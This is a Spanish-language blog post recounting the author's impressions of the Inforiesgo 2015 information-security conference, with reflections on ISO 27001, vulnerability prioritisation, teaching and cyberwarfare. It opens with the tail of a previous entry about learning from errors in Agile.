Podría rescatar que en Agile el error se suele utilizar más para aprender que para castigar, suponiendo que quien erra está en mejores condiciones de no volverlo a hacer y quienes están alrededor tienen la oportunidad de aprender de la falla sin transitarla.

[2] perdón, pero a este tipo de noticias no amerita que las documente mucho, recuerdo haber visto algo por ahí.


2015/06/15

Inforiesgo 2015


Comparto mis impresiones acerca del evento del 2015-06-10 [1].

La señora de la puerta se dió cuenta que estaba leyendo la lista de asistentes buscando conocidos y tomó las precauciones apropiadas pero no suficientes y llegué a ver que la tasa de asistencia fue de 2/3, muy buena.

La primera presentación, a cargo del polifacético profesional y docente de seguridad informática de la UdeMM[2] y alguna otra institución Pablo Romanos[3] trató sobre SGSI, en particular con iso27k. Por un lado dió la explicación teórica de rigor regada de muy buenos ejemplos y por otro presentó una interesante herramienta, que en sus palabras consiste en hacer lo mismo que venían haciendo en una hoja de cálculo. Pese a la modestia, la herramienta se veía bastante interesante.

Luego, Santiago Cavanna hizo algo muy interesante, que fue adaptar su presentación a ciertas ideas que había tirado Pablo.

Según los datos que mostró, la regulación sirve. O sea, si se pena que hagas las cosas mal, no las hacés tan mal, ¡qué primitivo! Tambien que hay terribles falencias de correlación de eventos, gestión de cuentas de administradores y de servicio, se comparten cuentas privilegiadas. Se calcula que hay un 5% de personal "desleal" que de tener oportunidad ataca a su organización.

Tuvo un par de reflexiones muy interesantes como que en cuatro mil años no ha cambiado el core de la seguridad de la información, con lo que no puedo menos que estar de acuerdo. La otra es algo que he expuesto en algunas capacitaciones internas y paso a explicar en mis palabras, me parece que su concepto es el mismo:

Cuando hablamos de probabilidad de ataque no es lo mismo que probabilidad de un accidente, pues en el primer caso hay una voluntad de por medio. Ponete en el lugar de atacante, que hace un relevamiento y encuentra que cerraste todas las que tienen más de 7 puntos de cvss[4]. Si estaba decidido o motivado, te va a atacar por las de menos puntos que estén abiertas, asi que si tenías una de 1 punto, para vos en realidad se hizo de 10 puntos.

Esto hace que decir: por mis vulnerabilidades tengo un XX% de probabilidades de ser atacado y cuanto más la cierre menos probable es, no tenga tanto sentido como que digas que hay un YY% de que TENGA ÉXITO. Entonces decir "esta vulnerabilidad no la cierro pues es muy difícil de explotar y nadie lo está haciendo" es perfecto para el atacante, que va a ver cuales vulnerabilidades tenés, se va a especializar y te las va a explotar.

Pero que quede claro que estos dos últimos párrafo son míos, no le estoy atribuyendo a Santiago mis palabras, no lo conversé con él, ni siquiera lo conozco. Es algo que venía pensando y que debería agregar a [5].

Otro concepto, que me preocupó es que como que estamos tomando demasiado estrictamente lo de "los datos de argentinos deben estar en Argentina" cuando en realidad parece que es "los datos de argentinos deben estar duplicados en Argentina y se pueden procesar afuera". Cuando alguien le dijo con los bancos no es asi, él dijo, hablen con la señora plin plin plin y verán...

Tras la pausa, hubieron dos presentaciones a las que lamentablemente no les pude sacar mucho más provecho que usar como abono para lo que sigue:

Hace como quince años había una docente en la facultad que leía las presentaciones, algo absolutamente insoportable e inútil. Me dije "no se pueden dar tan mal las clases" y me ofrecí como ayudante ad honorem y esa experiencia y los contactos resultantes han hecho que yo sea quien soy hoy, asi que quizás no está tan mal OTRA PERSONA lea las slides, está bueno el error pero no ser recordado sólo por ello.

Como le dijo Mathis a Bond, "estar muerto no significa que no puedas ser útil" [5].

Como en alguna otra entrada he manifestado [6], pero no recuerdo cual, tiendo a estar más del lado de RTFM que de STFW y del papel que de la pantalla, aunque no dudo en servirme de stackoverflow[7] cuando no necesito comprender o no comprendo pese a RTFM.

Si yo te leo un texo, podés prescindir de mi. De todos modos no podés prescindir de mi, por que lo que te estoy leyendo no te aporta nada que no hubieras tomado por vos mismo. Otra cosa es que haya un texto y alguien que lo desmenuce.

Esto vale tanto cuando aprendo como cuando enseño. Por ejemplo, andaba con ganas de dar capacitación mas formal y por fuera del trabajo y alguien me sugirió que para mejorar "la venta", era conveniente que subiera algún minicurso filmado.

Lo que no me gusta es que yo no aprendo nada cuando alguien ve mi video. No hay pair-programming en solitario.

Si yo leyera una presentación, lo único que aprendería sería a no volverla a leer y vos a no volver, punto.

Pero me fuí por las ramas, todo esto debió haber sido una entrada aparte

En la cuarta presentación se dijo que en términos militares el ciberespacio ha pasado a tomar el lugar protagónico que tenía lo naval. Mmh, si en la misma charla se dijo que se estaban considerando tomar "represalias físicas" en casos de ciberataques, ya me empieza a hacer ruido.

Hubieron datos del tamaño actual y proyectado de los "ciberejércitos", de pocos miles, minúsculos si comparamos con los convencionales. Tienen la ventaja de que no los matan, por ahora.

Se mencionó que hubo una importante denegación de servicio en Georgia antes de la invasión, que hubo sabotaje contra las centrifugadoras iraníe. Es verdad, pero Georgia luego fué invadida FÍSICAMENTE. Irán se atrasó un par de años y siguió en marcha su programa nuclear. Tirar un virus es tan sólo otro recurso como haber tirado unas bombas en un reactor experimental[8].

El problema es que se está confundiendo C3 con Internet. Leé un un poco de C3[9] antes de seguir.

¿Listo? Aburrido, ¿no?

C3 usa Internet, por que en parte Internet es resultado de C3 y por otro Internet es más barato. Fijate, que paradójico que Internet existe para tener comunicaciones reduntantes descentralizadas pero cada que el ancla de un barco arranca una fibra óptica del lecho marino, alguien se queda sin comunicaciones, jeje.

Mencioné esto de C3 no porque la tenga reclara, si no por que me parece algo muy importante para que profundices y reflexiones, prestá atención a C3I, no sé para qué le dicen C4I.

Volviendo a los ejemplos, en Siria se ve como la guerra civil tambien transcurre en Internet, pero no en los sitios atacados, si no en la manipulación de las noticias.

Se dice que EEUU perdió la guerra en Vietnam cuando la opinión pública se puso en contra, cuando comenzaron a volver los muertos. Pero alguien tuvo que matar a esos muertos primero.

Soy un completo convencido de que en última instancia, el ciberespacio no es más que una ilusión como el dinero y la ley, que nos rigen en el día a día y que cuando no lo pueden hacer, se respaldan en la violencia. En términos menos poéticos, en última instancia si no te colás para entrar a la cancha es por que la policia te apalea.

Otra vez por las ramas. Volviendo...


Hay algunas otras ideas que no recuerdo quien las expuso o siquiera si fueron expuesta o me surgieron como reflexiones del momento, como que dado que sigue habiendo muchísimo win9x en sistemas de control, los fabricantes que se benefician por hacer los upgrades bien pueden tener una actitud un tanto negligente en relación a su seguridad.

En síntesis, el evento estuvo ok. Pese a la "baja calidad" de dos presentaciones que igual aportaron algo de conocimiento. Ah, y la puntualidad falló, pero he visto peores...

[1] http://www.cpci.org.ar/index.php/pago-de-la-cuota-social/34-novedades/novedades/264-jornadas-info-riesgo-2015-en-udemm-8-edicion
[2] http://www.udemm.edu.ar/
[3] pabloromanos@green40.com
[4] https://nvd.nist.gov/cvss.cfm?calculator&version=2
[5] http://seguridad-agile.blogspot.com/2013/09/dos-dimensiones-extra-en-la-evaluacion.html
[5] http://www.imdb.com/title/tt0381061/quotes?item=qt0433391
[6] http://seguridad-agile.blogspot.com/2012/07/layer-8-csrf-protection.html
[7] http://stackoverflow.com/
[8] http://www.spiegel.de/international/world/the-story-of-operation-orchard-how-israel-destroyed-syria-s-al-kibar-nuclear-reactor-a-658663.html
[9] http://www.globalsecurity.org/military/systems/ground/c3.htm